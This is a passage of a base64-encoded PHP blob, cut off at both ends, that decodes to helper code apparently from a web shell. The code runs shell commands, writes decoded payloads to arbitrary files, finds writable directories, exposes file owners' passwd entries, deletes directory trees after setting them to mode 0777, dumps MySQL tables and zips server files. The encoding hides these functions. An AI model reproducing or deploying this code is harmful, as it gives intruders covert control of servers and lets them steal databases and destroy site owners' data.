woJCQl9CgkJCUBwY2xvc2UoJGYpOwoJCX0KCX0KCXJldHVybiAkcmVzOwp9CmZ1bmN0aW9uIHdoaWNoKCRwcikgewoJJHBhdGggPSBleGVjdXRlKCJ3aGljaCAkcHIiKTsKCXJldHVybiAoJHBhdGggPyAkcGF0aCA6ICRwcik7Cn0KCmZ1bmN0aW9uIGNmKCRmbmFtZSwkdGV4dCl7CglpZigkZnA9QGZvcGVuKCRmbmFtZSwndycpKSB7CgkJQGZwdXRzKCRmcCxAYmFzZTY0X2RlY29kZSgkdGV4dCkpOwoJCUBmY2xvc2UoJGZwKTsKCX0KfQoKLy8gRGVidWcKZnVuY3Rpb24gZGVidWdpbmZvKCkgewoJZ2xvYmFsICRzdGFydHRpbWU7CgkkbXRpbWUgPSBleHBsb2RlKCcgJywgbWljcm90aW1lKCkpOwoJJHRvdGFsdGltZSA9IG51bWJlcl9mb3JtYXQoKCRtdGltZVsxXSArICRtdGltZVswXSAtICRzdGFydHRpbWUpLCA2KTsKCWVjaG8gJ1Byb2Nlc3NlZCBpbiAnLiR0b3RhbHRpbWUuJyBzZWNvbmQocyknOwp9CgovLyBGdW5jdGlvbiBjb25uZWN0IGRhdGFiYXNlCmZ1bmN0aW9uIGRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lPScnLCRjaGFyc2V0PScnLCRkYnBvcnQ9JzMzMDYnKSB7CglpZighJGxpbmsgPSBAbXlzcWxfY29ubmVjdCgkZGJob3N0Lic6Jy4kZGJwb3J0LCAkZGJ1c2VyLCAkZGJwYXNzKSkgewoJCXAoJzxoMj5DYW4gbm90IGNvbm5lY3QgdG8gTXlTUUwgc2VydmVyPC9oMj4nKTsKCQlleGl0OwoJfQoJaWYoJGxpbmsgJiYgJGRibmFtZSkgewoJCWlmICghQG15c3FsX3NlbGVjdF9kYigkZGJuYW1lLCAkbGluaykpIHsKCQkJcCgnPGgyPkRhdGFiYXNlIHNlbGVjdGVkIGhhcyBlcnJvcjwvaDI+Jyk7CgkJCWV4aXQ7CgkJfQoJfQoJaWYoJGxpbmsgJiYgbXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCkgPiAnNC4xJykgewoJCWlmKGluX2FycmF5KHN0cnRvbG93ZXIoJGNoYXJzZXQpLCBhcnJheSgnZ2JrJywgJ2JpZzUnLCAndXRmOCcpKSkgewoJCQlxKCJTRVQgY2hhcmFjdGVyX3NldF9jb25uZWN0aW9uPSRjaGFyc2V0LCBjaGFyYWN0ZXJfc2V0X3Jlc3VsdHM9JGNoYXJzZXQsIGNoYXJhY3Rlcl9zZXRfY2xpZW50PWJpbmFyeTsiLCAkbGluayk7CgkJfQoJfQoJcmV0dXJuICRsaW5rOwp9CgovLyBBcnJheSBzdHJpcApmdW5jdGlvbiBzX2FycmF5KCYkYXJyYXkpIHsKCWlmIChpc19hcnJheSgkYXJyYXkpKSB7CgkJZm9yZWFjaCAoJGFycmF5IGFzICRrID0+ICR2KSB7CgkJCSRhcnJheVska10gPSBzX2FycmF5KCR2KTsKCQl9Cgl9IGVsc2UgaWYgKGlzX3N0cmluZygkYXJyYXkpKSB7CgkJJGFycmF5ID0gc3RyaXBzbGFzaGVzKCRhcnJheSk7Cgl9CglyZXR1cm4gJGFycmF5Owp9CgovLyBIVE1MIFN0cmlwCmZ1bmN0aW9uIGh0bWxfY2xlYW4oJGNvbnRlbnQpIHsKCSRjb250ZW50ID0gaHRtbHNwZWNpYWxjaGFycygkY29udGVudCk7CgkkY29udGVudCA9IHN0cl9yZXBsYWNlKCJcbiIsICI8YnIgLz4iLCAkY29udGVudCk7CgkkY29udGVudCA9IHN0cl9yZXBsYWNlKCIgICIsICImbmJzcDsmbmJzcDsiLCAkY29udGVudCk7CgkkY29udGVudCA9IHN0cl9yZXBsYWNlKCJcdCIsICImbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiLCAkY29udGVudCk7CglyZXR1cm4gJGNvbnRlbnQ7Cn0KCi8vIENobW9kCmZ1bmN0aW9uIGdldENobW9kKCRmaWxlcGF0aCl7CglyZXR1cm4gc3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRmaWxlcGF0aCksMTAsOCksLTQpOwp9CgpmdW5jdGlvbiBnZXRQZXJtcygkZmlsZXBhdGgpIHsKCSRtb2RlID0gQGZpbGVwZXJtcygkZmlsZXBhdGgpOwoJaWYgKCgkbW9kZSAmIDB4QzAwMCkgPT09IDB4QzAwMCkgeyR0eXBlID0gJ3MnO30KCWVsc2VpZiAoKCRtb2RlICYgMHg0MDAwKSA9PT0gMHg0MDAwKSB7JHR5cGUgPSAnZCc7fQoJZWxzZWlmICgoJG1vZGUgJiAweEEwMDApID09PSAweEEwMDApIHskdHlwZSA9ICdsJzt9CgllbHNlaWYgKCgkbW9kZSAmIDB4ODAwMCkgPT09IDB4ODAwMCkgeyR0eXBlID0gJy0nO30KCWVsc2VpZiAoKCRtb2RlICYgMHg2MDAwKSA9PT0gMHg2MDAwKSB7JHR5cGUgPSAnYic7fQoJZWxzZWlmICgoJG1vZGUgJiAweDIwMDApID09PSAweDIwMDApIHskdHlwZSA9ICdjJzt9CgllbHNlaWYgKCgkbW9kZSAmIDB4MTAwMCkgPT09IDB4MTAwMCkgeyR0eXBlID0gJ3AnO30KCWVsc2UgeyR0eXBlID0gJz8nO30KCgkkb3duZXJbJ3JlYWQnXSA9ICgkbW9kZSAmIDAwNDAwKSA/ICdyJyA6ICctJzsKCSRvd25lclsnd3JpdGUnXSA9ICgkbW9kZSAmIDAwMjAwKSA/ICd3JyA6ICctJzsKCSRvd25lclsnZXhlY3V0ZSddID0gKCRtb2RlICYgMDAxMDApID8gJ3gnIDogJy0nOwoJJGdyb3VwWydyZWFkJ10gPSAoJG1vZGUgJiAwMDA0MCkgPyAncicgOiAnLSc7CgkkZ3JvdXBbJ3dyaXRlJ10gPSAoJG1vZGUgJiAwMDAyMCkgPyAndycgOiAnLSc7CgkkZ3JvdXBbJ2V4ZWN1dGUnXSA9ICgkbW9kZSAmIDAwMDEwKSA/ICd4JyA6ICctJzsKCSR3b3JsZFsncmVhZCddID0gKCRtb2RlICYgMDAwMDQpID8gJ3InIDogJy0nOwoJJHdvcmxkWyd3cml0ZSddID0gKCRtb2RlICYgMDAwMDIpID8gJ3cnIDogJy0nOwoJJHdvcmxkWydleGVjdXRlJ10gPSAoJG1vZGUgJiAwMDAwMSkgPyAneCcgOiAnLSc7CgoJaWYoICRtb2RlICYgMHg4MDAgKSB7JG93bmVyWydleGVjdXRlJ10gPSAoJG93bmVyWydleGVjdXRlJ109PSd4JykgPyAncycgOiAnUyc7fQoJaWYoICRtb2RlICYgMHg0MDAgKSB7JGdyb3VwWydleGVjdXRlJ10gPSAoJGdyb3VwWydleGVjdXRlJ109PSd4JykgPyAncycgOiAnUyc7fQoJaWYoICRtb2RlICYgMHgyMDAgKSB7JHdvcmxkWydleGVjdXRlJ10gPSAoJHdvcmxkWydleGVjdXRlJ109PSd4JykgPyAndCcgOiAnVCc7fQoKCXJldHVybiAkdHlwZS4kb3duZXJbJ3JlYWQnXS4kb3duZXJbJ3dyaXRlJ10uJG93bmVyWydleGVjdXRlJ10uJGdyb3VwWydyZWFkJ10uJGdyb3VwWyd3cml0ZSddLiRncm91cFsnZXhlY3V0ZSddLiR3b3JsZFsncmVhZCddLiR3b3JsZFsnd3JpdGUnXS4kd29ybGRbJ2V4ZWN1dGUnXTsKfQoKZnVuY3Rpb24gZ2V0VXNlcigkZmlsZXBhdGgpCXsKCWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykpIHsKCQkkYXJyYXkgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZmlsZXBhdGgpKTsKCQlpZiAoJGFycmF5ICYmIGlzX2FycmF5KCRhcnJheSkpIHsKCQkJcmV0dXJuICcgLyA8YSBocmVmPSIjIiB0aXRsZT0iVXNlcjogJy4kYXJyYXlbJ25hbWUnXS4nJiMxMyYjMTBQYXNzd2Q6ICcuJGFycmF5WydwYXNzd2QnXS4nJiMxMyYjMTBVaWQ6ICcuJGFycmF5Wyd1aWQnXS4nJiMxMyYjMTBnaWQ6ICcuJGFycmF5WydnaWQnXS4nJiMxMyYjMTBHZWNvczogJy4kYXJyYXlbJ2dlY29zJ10uJyYjMTMmIzEwRGlyOiAnLiRhcnJheVsnZGlyJ10uJyYjMTMmIzEwU2hlbGw6ICcuJGFycmF5WydzaGVsbCddLiciPicuJGFycmF5WyduYW1lJ10uJzwvYT4nOwoJCX0KCX0KCXJldHVybiAnJzsKfQoKLy8gRGVsZXRlIGRpcgpmdW5jdGlvbiBkZWx0cmVlKCRkZWxkaXIpIHsKCSRteWRpcj1AZGlyKCRkZWxkaXIpOwoJd2hpbGUoJGZpbGU9JG15ZGlyLT5yZWFkKCkpCXsKCQlpZigoaXNfZGlyKCRkZWxkaXIuJy8nLiRmaWxlKSkgJiYgKCRmaWxlIT0nLicpICYmICgkZmlsZSE9Jy4uJykpIHsKCQkJQGNobW9kKCRkZWxkaXIuJy8nLiRmaWxlLDA3NzcpOwoJCQlkZWx0cmVlKCRkZWxkaXIuJy8nLiRmaWxlKTsKCQl9CgkJaWYgKGlzX2ZpbGUoJGRlbGRpci4nLycuJGZpbGUpKSB7CgkJCUBjaG1vZCgkZGVsZGlyLicvJy4kZmlsZSwwNzc3KTsKCQkJQHVubGluaygkZGVsZGlyLicvJy4kZmlsZSk7CgkJfQoJfQoJJG15ZGlyLT5jbG9zZSgpOwoJQGNobW9kKCRkZWxkaXIsMDc3Nyk7CglyZXR1cm4gQHJtZGlyKCRkZWxkaXIpID8gMSA6IDA7Cn0KCi8vIEJhY2tncm91bmQKZnVuY3Rpb24gYmcoKSB7CglnbG9iYWwgJGJnYzsKCXJldHVybiAoJGJnYysrJTI9PTApID8gJ2FsdDEnIDogJ2FsdDInOwp9CgovLyBHZXQgcGF0aApmdW5jdGlvbiBnZXRQYXRoKCRzY3JpcHRwYXRoLCAkbm93cGF0aCkgewoJaWYgKCRub3dwYXRoID09ICcuJykgewoJCSRub3dwYXRoID0gJHNjcmlwdHBhdGg7Cgl9Cgkkbm93cGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJG5vd3BhdGgpOwoJJG5vd3BhdGggPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICRub3dwYXRoKTsKCWlmIChzdWJzdHIoJG5vd3BhdGgsIC0xKSAhPSAnLycpIHsKCQkkbm93cGF0aCA9ICRub3dwYXRoLicvJzsKCX0KCXJldHVybiAkbm93cGF0aDsKfQoKLy8gR2V0IHVwIHBhdGgKZnVuY3Rpb24gZ2V0VXBQYXRoKCRub3dwYXRoKSB7CgkkcGF0aGRiID0gZXhwbG9kZSgnLycsICRub3dwYXRoKTsKCSRudW0gPSBjb3VudCgkcGF0aGRiKTsKCWlmICgkbnVtID4gMikgewoJCXVuc2V0KCRwYXRoZGJbJG51bS0xXSwkcGF0aGRiWyRudW0tMl0pOwoJfQoJJHVwcGF0aCA9IGltcGxvZGUoJy8nLCAkcGF0aGRiKS4nLyc7CgkkdXBwYXRoID0gc3RyX3JlcGxhY2UoJy8vJywgJy8nLCAkdXBwYXRoKTsKCXJldHVybiAkdXBwYXRoOwp9CgovLyBDb25maWcKZnVuY3Rpb24gZ2V0Y2ZnKCR2YXJuYW1lKSB7CgkkcmVzdWx0ID0gZ2V0X2NmZ192YXIoJHZhcm5hbWUpOwoJaWYgKCRyZXN1bHQgPT0gMCkgewoJCXJldHVybiAnTm8nOwoJfSBlbHNlaWYgKCRyZXN1bHQgPT0gMSkgewoJCXJldHVybiAnWWVzJzsKCX0gZWxzZSB7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9Cn0KCi8vIEZ1bmN0aW9uIG5hbWUKZnVuY3Rpb24gZ2V0ZnVuKCRmdW5OYW1lKSB7CglyZXR1cm4gKGZhbHNlICE9PSBmdW5jdGlvbl9leGlzdHMoJGZ1bk5hbWUpKSA/ICdZZXMnIDogJ05vJzsKfQoKZnVuY3Rpb24gR2V0TGlzdCgkZGlyKXsKCWdsb2JhbCAkZGlyZGF0YSwkaiwkbm93cGF0aDsKCSEkaiAmJiAkaj0xOwoJaWYgKCRkaCA9IG9wZW5kaXIoJGRpcikpIHsKCQl3aGlsZSAoJGZpbGUgPSByZWFkZGlyKCRkaCkpIHsKCQkJJGY9c3RyX3JlcGxhY2UoJy8vJywnLycsJGRpci4nLycuJGZpbGUpOwoJCQlpZigkZmlsZSE9Jy4nICYmICRmaWxlIT0nLi4nICYmIGlzX2RpcigkZikpewoJCQkJaWYgKGlzX3dyaXRhYmxlKCRmKSkgewoJCQkJCSRkaXJkYXRhWyRqXVsnZmlsZW5hbWUnXT1zdHJfcmVwbGFjZSgkbm93cGF0aCwnJywkZik7CgkJCQkJJGRpcmRhdGFbJGpdWydtdGltZSddPUBkYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRmKSk7CgkJCQkJJGRpcmRhdGFbJGpdWydkaXJjaG1vZCddPWdldENobW9kKCRmKTsKCQkJCQkkZGlyZGF0YVskal1bJ2RpcnBlcm0nXT1nZXRQZXJtcygkZik7CgkJCQkJJGRpcmRhdGFbJGpdWydkaXJsaW5rJ109dWUoJGRpcik7CgkJCQkJJGRpcmRhdGFbJGpdWydzZXJ2ZXJfbGluayddPSRmOwoJCQkJCSRkaXJkYXRhWyRqXVsnY2xpZW50X2xpbmsnXT11ZSgkZik7CgkJCQkJJGorKzsKCQkJCX0KCQkJCUdldExpc3QoJGYpOwoJCQl9CgkJfQoJCWNsb3NlZGlyKCRkaCk7CgkJY2xlYXJzdGF0Y2FjaGUoKTsKCQlyZXR1cm4gJGRpcmRhdGE7Cgl9IGVsc2UgewoJCXJldHVybiBhcnJheSgpOwoJfQp9CgpmdW5jdGlvbiBxeSgkc3FsKSB7CgkvL2VjaG8gJHNxbC4nPGJyPic7CgkkcmVzID0gJGVycm9yID0gJyc7CglpZighJHJlcyA9IEBteXNxbF9xdWVyeSgkc3FsKSkgewoJCXJldHVybiAwOwoJfSBlbHNlIGlmKGlzX3Jlc291cmNlKCRyZXMpKSB7CgkJcmV0dXJuIDE7Cgl9IGVsc2UgewoJCXJldHVybiAyOwoJfQoJcmV0dXJuIDA7Cn0KCmZ1bmN0aW9uIHEoJHNxbCkgewoJcmV0dXJuIEBteXNxbF9xdWVyeSgkc3FsKTsKfQoKZnVuY3Rpb24gZnIoJHF5KXsKCW15c3FsX2ZyZWVfcmVzdWx0KCRxeSk7Cn0KCmZ1bmN0aW9uIHNpemVjb3VudCgkc2l6ZSkgewoJaWYoJHNpemUgPiAxMDczNzQxODI0KSB7CgkJJHNpemUgPSByb3VuZCgkc2l6ZSAvIDEwNzM3NDE4MjQgKiAxMDApIC8gMTAwIC4gJyBHJzsKCX0gZWxzZWlmKCRzaXplID4gMTA0ODU3NikgewoJCSRzaXplID0gcm91bmQoJHNpemUgLyAxMDQ4NTc2ICogMTAwKSAvIDEwMCAuICcgTSc7Cgl9IGVsc2VpZigkc2l6ZSA+IDEwMjQpIHsKCQkkc2l6ZSA9IHJvdW5kKCRzaXplIC8gMTAyNCAqIDEwMCkgLyAxMDAgLiAnIEsnOwoJfSBlbHNlIHsKCQkkc2l6ZSA9ICRzaXplIC4gJyBCJzsKCX0KCXJldHVybiAkc2l6ZTsKfQoKLy8gWmlwCmNsYXNzIFBIUFppcHsKCXZhciAkb3V0PScnOwoJZnVuY3Rpb24gUEhQWmlwKCRkaXIpCXsKCQlpZiAoQGZ1bmN0aW9uX2V4aXN0cygnZ3pjb21wcmVzcycpKQl7CgkJCSRjdXJkaXIgPSBnZXRjd2QoKTsKCQkJaWYgKGlzX2FycmF5KCRkaXIpKSAkZmlsZWxpc3QgPSAkZGlyOwoJCQllbHNlewoJCQkJJGZpbGVsaXN0PSR0aGlzIC0+IEdldEZpbGVMaXN0KCRkaXIpOy8vRmlsZSBsaXN0CgkJCQlmb3JlYWNoKCRmaWxlbGlzdCBhcyAkaz0+JHYpICRmaWxlbGlzdFtdPXN1YnN0cigkdixzdHJsZW4oJGRpcikrMSk7CgkJCX0KCQkJaWYgKCghZW1wdHkoJGRpcikpJiYoIWlzX2FycmF5KCRkaXIpKSYmKGZpbGVfZXhpc3RzKCRkaXIpKSkgY2hkaXIoJGRpcik7CgkJCWVsc2UgY2hkaXIoJGN1cmRpcik7CgkJCWlmIChjb3VudCgkZmlsZWxpc3QpPjApewoJCQkJZm9yZWFjaCgkZmlsZWxpc3QgYXMgJGZpbGVuYW1lKXsKCQkJCQlpZiAoaXNfZmlsZSgkZmlsZW5hbWUpKXsKCQkJCQkJJGZkID0gZm9wZW4gKCRmaWxlbmFtZSwgJ3InKTsKCQkJCQkJJGNvbnRlbnQgPSBAZnJlYWQgKCRmZCwgZmlsZXNpemUoJGZpbGVuYW1lKSk7CgkJCQkJCWZjbG9zZSAoJGZkKTsKCQkJCQkJaWYgKGlzX2FycmF5KCRkaXIpKSAkZmlsZW5hbWUgPSBiYXNlbmFtZSgkZmlsZW5hbWUpOwoJCQkJCQkkdGhpcyAtPiBhZGRGaWxlKCRjb250ZW50LCAkZmlsZW5hbWUpOwoJCQkJCX0KCQkJCX0KCQkJCSR0aGlzLT5vdXQgPSAkdGhpcyAtPiBmaWxlKCk7CgkJCQljaGRpcigkY3VyZGlyKTsKCQkJfQoJCQlyZXR1cm4gMTsKCQl9CgkJZWxzZSByZXR1cm4gMDsKCX0KCgkvLyBTaG93IGZpbGUgbGlzdAoJZnVuY3Rpb24gR2V0RmlsZUxpc3QoJGRpcil7CgkJc3RhdGljICRhOwoJCWlmIChpc19kaXIoJGRpcikpIHsKCQkJaWYgKCRkaCA9IG9wZW5kaXIoJGRpcikpIHsKCQkJCXdoaWxlICgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgewoJCQkJCWlmKCRmaWxlIT0nLicgJiYgJGZpbGUhPScuLicpewoJCQkJCQkkZj0kZGlyIC4nLycuICRmaWxlOwoJCQkJCQlpZihpc19kaXIoJGYpKSAkdGhpcy0+R2V0RmlsZUxpc3QoJGYpOwoJCQkJCQkkYVtdPSRmOwoJCQkJCX0KCQkJCX0KCQkJCWNsb3NlZGlyKCRkaCk7CgkJCX0KCQl9CgkJcmV0dXJuICRhOwoJfQoKCXZhciAkZGF0YXNlYyAgICAgID0gYXJyYXkoKTsKCXZhciAkY3RybF9kaXIgICAgID0gYXJyYXkoKTsKCXZhciAkZW9mX2N0cmxfZGlyID0gIlx4NTBceDRiXHgwNVx4MDZceDAwXHgwMFx4MDBceDAwIjsKCXZhciAkb2xkX29mZnNldCAgID0gMDsKCglmdW5jdGlvbiB1bml4MkRvc1RpbWUoJHVuaXh0aW1lID0gMCkgewoJCSR0aW1lYXJyYXkgPSAoJHVuaXh0aW1lID09IDApID8gZ2V0ZGF0ZSgpIDogZ2V0ZGF0ZSgkdW5peHRpbWUpOwoJCWlmICgkdGltZWFycmF5Wyd5ZWFyJ10gPCAxOTgwKSB7CgkJCSR0aW1lYXJyYXlbJ3llYXInXSAgICA9IDE5ODA7CgkJCSR0aW1lYXJyYXlbJ21vbiddICAgICA9IDE7CgkJCSR0aW1lYXJyYXlbJ21kYXknXSAgICA9IDE7CgkJCSR0aW1lYXJyYXlbJ2hvdXJzJ10gICA9IDA7CgkJCSR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA9IDA7CgkJCSR0aW1lYXJyYXlbJ3NlY29uZHMnXSA9IDA7CgkJfSAvLyBlbmQgaWYKCQlyZXR1cm4gKCgkdGltZWFycmF5Wyd5ZWFyJ10gLSAxOTgwKSA8PCAyNSkgfCAoJHRpbWVhcnJheVsnbW9uJ10gPDwgMjEpIHwgKCR0aW1lYXJyYXlbJ21kYXknXSA8PCAxNikgfAoJCQkJKCR0aW1lYXJyYXlbJ2hvdXJzJ10gPDwgMTEpIHwgKCR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA8PCA1KSB8ICgkdGltZWFycmF5WydzZWNvbmRzJ10gPj4gMSk7Cgl9CgoJZnVuY3Rpb24gYWRkRmlsZSgkZGF0YSwgJG5hbWUsICR0aW1lID0gMCkgewoJCSRuYW1lID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkbmFtZSk7CgoJCSRkdGltZSA9IGRlY2hleCgkdGhpcy0+dW5peDJEb3NUaW1lKCR0aW1lKSk7CgkJJGhleGR0aW1lCT0gJ1x4JyAuICRkdGltZVs2XSAuICRkdGltZVs3XQoJCQkJCS4gJ1x4JyAuICRkdGltZVs0XSAuICRkdGltZVs1XQoJCQkJCS4gJ1x4JyAuICRkdGltZVsyXSAuICRkdGltZVszXQoJCQkJCS4gJ1x4JyAuICRkdGltZVswXSAuICRkdGltZVsxXTsKCQlldmFsKCckaGV4ZHRpbWUgPSAiJyAuICRoZXhkdGltZSAuICciOycpOwoJCSRmcgk9ICJceDUwXHg0Ylx4MDNceDA0IjsKCQkkZnIJLj0gIlx4MTRceDAwIjsKCQkkZnIJLj0gIlx4MDBceDAwIjsKCQkkZnIJLj0gIlx4MDhceDAwIjsKCQkkZnIJLj0gJGhleGR0aW1lOwoKCQkkdW5jX2xlbiA9IHN0cmxlbigkZGF0YSk7CgkJJGNyYyA9IGNyYzMyKCRkYXRhKTsKCQkkemRhdGEgPSBnemNvbXByZXNzKCRkYXRhKTsKCQkkY19sZW4gPSBzdHJsZW4oJHpkYXRhKTsKCQkkemRhdGEgPSBzdWJzdHIoc3Vic3RyKCR6ZGF0YSwgMCwgc3RybGVuKCR6ZGF0YSkgLSA0KSwgMik7CgkJJGZyIC49IHBhY2soJ1YnLCAkY3JjKTsKCQkkZnIgLj0gcGFjaygnVicsICRjX2xlbik7CgkJJGZyIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7CgkJJGZyIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpKTsKCQkkZnIgLj0gcGFjaygndicsIDApOwoJCSRmciAuPSAkbmFtZTsKCQkkZnIgLj0gJHpkYXRhOwoJCSRmciAuPSBwYWNrKCdWJywgJGNyYyk7CgkJJGZyIC49IHBhY2soJ1YnLCAkY19sZW4pOwoJCSRmciAuPSBwYWNrKCdWJywgJHVuY19sZW4pOwoKCQkkdGhpcyAtPiBkYXRhc2VjW10gPSAkZnI7CgkJJG5ld19vZmZzZXQgPSBzdHJsZW4oaW1wbG9kZSgnJywgJHRoaXMtPmRhdGFzZWMpKTsKCgkJJGNkcmVjID0gIlx4NTBceDRiXHgwMVx4MDIiOwoJCSRjZHJlYyAuPSAiXHgwMFx4MDAiOwoJCSRjZHJlYyAuPSAiXHgxNFx4MDAiOwoJCSRjZHJlYyAuPSAiXHgwMFx4MDAiOwoJCSRjZHJlYyAuPSAiXHgwOFx4MDAiOwoJCSRjZHJlYyAuPSAkaGV4ZHRpbWU7CgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkY3JjKTsKCQkkY2RyZWMgLj0gcGFjaygnVicsICRjX2xlbik7CgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7CgkJJGNkcmVjIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpICk7CgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CgkJJGNkcmVjIC49IHBhY2soJ1YnLCAzMiApOwoJCSRjZHJlYyAuPSBwYWNrKCdWJywgJHRoaXMgLT4gb2xkX29mZnNldCApOwoJCSR0aGlzIC0+IG9sZF9vZmZzZXQgPSAkbmV3X29mZnNldDsKCQkkY2RyZWMgLj0gJG5hbWU7CgoJCSR0aGlzIC0+IGN0cmxfZGlyW10gPSAkY2RyZWM7Cgl9CgoJZnVuY3Rpb24gZmlsZSgpIHsKCQkkZGF0YSAgICA9IGltcGxvZGUoJycsICR0aGlzIC0+IGRhdGFzZWMpOwoJCSRjdHJsZGlyID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gY3RybF9kaXIpOwoJCXJldHVybiAkZGF0YSAuICRjdHJsZGlyIC4gJHRoaXMgLT4gZW9mX2N0cmxfZGlyIC4gcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4gcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4JcGFjaygnVicsIHN0cmxlbigkY3RybGRpcikpIC4gcGFjaygnVicsIHN0cmxlbigkZGF0YSkpIC4gIlx4MDBceDAwIjsKCX0KfQoKLy8gRHVtcCBteXNxbApmdW5jdGlvbiBzcWxkdW1wdGFibGUoJHRhYmxlLCAkZnA9MCkgewoJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdGFibGU7XG4iOwoJJHRhYmxlZHVtcCAuPSAiQ1JFQVRFIFRBQkxFICR0YWJsZSAoXG4iOwoKCSRmaXJzdGZpZWxkPTE7CgoJJGZpZWxkcyA9IHEoIlNIT1cgRklFTERTIEZST00gJHRhYmxlIik7Cgl3aGlsZSAoJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoJGZpZWxkcykpIHsKCQlpZiAoISRmaXJzdGZpZWxkKSB7CgkJCSR0YWJsZWR1bXAgLj0gIixcbiI7CgkJfSBlbHNlIHsKCQkJJGZpcnN0ZmllbGQ9MDsKCQl9CgkJJHRhYmxlZHVtcCAuPSAiICAgJGZpZWxkW0ZpZWxkXSAkZmllbGRbVHlwZV0iOwoJCWlmICghZW1wdHkoJGZpZWxkWyJEZWZhdWx0Il0pKSB7CgkJCSR0YWJsZWR1bXAgLj0gIiBERUZBVUxUICckZmllbGRbRGVmYXVsdF0nIjsKCQl9CgkJaWYgKCRmaWVsZFsnTnVsbCddICE9ICJZRVMiKSB7CgkJCSR0YWJsZWR1bXAgLj0gIiBOT1QgTlVMTCI7CgkJfQoJCWlmICgkZmllbGRbJ0V4dHJhJ10gIT0gIiIpIHsKCQkJJHRhYmxlZHVtcCAuPSAiICRmaWVsZFtFeHRyYV0iOwoJCX0KCX0KCWZyKCRmaWVsZHMpOwoKCSRrZXlzID0gcSgiU0hPVyBLRVlTIEZST00gJHRhYmxlIik7Cgl3aGlsZSAoJGtleSA9IG15c3FsX2ZldGNoX2FycmF5KCRrZXlzKSkgewoJCSRrbmFtZT0ka2V5WydLZXlfbmFtZSddOwoJCWlmICgka25hbWUgIT0gIlBSSU1BUlkiICYmICRrZXlbJ05vbl91bmlxdWUnXSA9PSAwKSB7CgkJCSRrbmFtZT0iVU5JUVVFfCRrbmFtZSI7CgkJfQoJCWlmKCFpc19hcnJheSgkaW5kZXhbJGtuYW1lXSkpIHsKCQkJJGluZGV4WyRrbmFtZV0gPSBhcnJheSgpOwoJCX0KCQkkaW5kZXhbJGtuYW1lXVtdID0gJGtleVsnQ29sdW1uX25hbWUnXTsKCX0KCWZyKCRrZXlzKTsKCgl3aGlsZShsaXN0KCRrbmFtZSwgJGNvbHVtbnMpID0gQGVhY2goJGluZGV4KSkgewoJCSR0YWJsZWR1bXAgLj0gIixcbiI7CgkJJGNvbG5hbWVzPWltcGxvZGUoJGNvbHVtbnMsIiwiKTsKCgkJaWYgKCRrbmFtZSA9PSAiUFJJTUFSWSIpIHsKCQkJJHRhYmxlZHVtcCAuPSAiICAgUFJJTUFSWSBLRVkgKCRjb2xuYW1lcykiOwoJCX0gZWxzZSB7CgkJCWlmIChzdWJzdHIoJGtuYW1lLDAsNikgPT0gIlVOSVFVRSIpIHsKCQkJCSRrbmFtZT1zdWJzdHIoJGtuYW1lLDcpOwoJCQl9CgkJCSR0YWJsZWR1bXAgLj0gIiAgIEtFWSAka25hbWUgKCRjb2xuYW1lcykiOwoJCX0KCX0KCgkkdGFibGVkdW1wIC49ICJcbik7XG5cbiI7CglpZiAoJGZwKSB7CgkJZndyaXRlKCRmcCwkdGFibGVkdW1wKTsKCX0gZWxzZSB7CgkJZWNobyAkdGFibGVkdW1wOwoJfQoKCSRyb3dzID0gcSgiU0VMRUNUICogRlJPTSAkdGFibGUiKTsKCSRudW1maWVsZHMgPSBteXNxbF9udW1fZmllbGRzKCRyb3dzKTsKCXdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJvd3MpKSB7CgkJJHRhYmxlZHVtcCA9ICJJTlNFUlQgSU5UTyAkdGFibGUgVkFMVUVTKCI7CgoJCSRmaWVsZGNvdW50ZXI9LTE7CgkJJGZpcnN0ZmllbGQ9MTsKCQl3aGlsZSAoKyskZmllbGRjb3VudGVyPCRudW1maWVsZHMpIHsKCQkJaWYgKCEkZmlyc3RmaWVsZCkgewoJCQkJJHRhYmxlZHVtcC49IiwgIjsKCQkJfSBlbHNlIHsKCQkJCSRmaXJzdGZpZWxkPTA7CgkJCX0KCgkJCWlmICghaXNzZXQoJHJvd1skZmllbGRjb3VudGVyXSkpIHsKCQkJCSR0YWJsZWR1bXAgLj0gIk5VTEwiOwoJCQl9IGVsc2UgewoJCQkJJHRhYmxlZHVtcCAuPSAiJyIubXlzcWxfZXNjYXBlX3N0cmluZygkcm93WyRmaWVsZGNvdW50ZXJdKS4iJyI7CgkJCX0KCQl9CgoJCSR0YWJsZWR1bXAgLj0gIik7XG4iOwoKCQlpZiAoJGZwKSB7CgkJCWZ3cml0ZSgkZnAsJHRhYmxlZHVtcCk7CgkJfSBlbHNlIHsKCQkJZWNobyAkdGFibGVkdW1wOwoJCX0KCX0KCWZyKCRyb3dzKTsKCWlmICgkZnApIHsKCQlmd3JpdGUoJ